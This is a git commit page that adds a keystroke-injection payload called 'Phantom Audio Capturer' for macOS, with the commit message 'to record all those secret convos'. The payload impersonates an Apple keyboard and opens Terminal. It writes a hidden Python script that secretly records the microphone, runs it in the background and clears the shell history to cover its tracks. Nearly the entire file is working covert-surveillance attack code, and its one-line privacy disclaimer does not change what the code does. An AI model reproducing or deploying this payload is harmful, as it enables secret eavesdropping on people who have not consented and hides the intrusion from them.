Audio Capturer to record all those secret convos

This commit is contained in:
narstybits
2023-05-27 22:30:10 -05:00
parent 2225282f93
commit abc3733f05
+34
View File
@@ -0,0 +1,34 @@
REM Create a hidden directory named .phantom_audio in the home directory.
REM Writes a Python script (record.py) that uses the sox utility to record audio from the microphone and save it as a .wav file.
REM Once executed, the audio recording will start and continue until manually stopped.
REM The recording is saved in the .phantom_audio directory under the home directory.
REM Remember to respect privacy and use this script responsibly.
REM Author: Narsty
REM Title: Phantom Audio Capturer
REM Target: MacOS
REM Version: 1.0
REM Category:
ID 05ac:021e Apple:Keyboard
DELAY 500
GUI SPACE
DELAY 500
STRING Terminal
DELAY 500
ENTER
DELAY 500
STRING mkdir ~/.phantom_audio && cd ~/.phantom_audio
ENTER
DELAY 500
STRING echo 'import os\nimport subprocess\nimport datetime\n\nfilename = datetime.datetime.now().strftime("%Y-%m-%d-%H-%M-%S") + ".wav"\ncmd = f"sox -d {filename}"\nsubprocess.Popen(cmd, shell=True)' > record.py
ENTER
DELAY 500
STRING nohup python3 record.py > /dev/null 2>&1 &
ENTER
DELAY 500
STRING history -c && exit
ENTER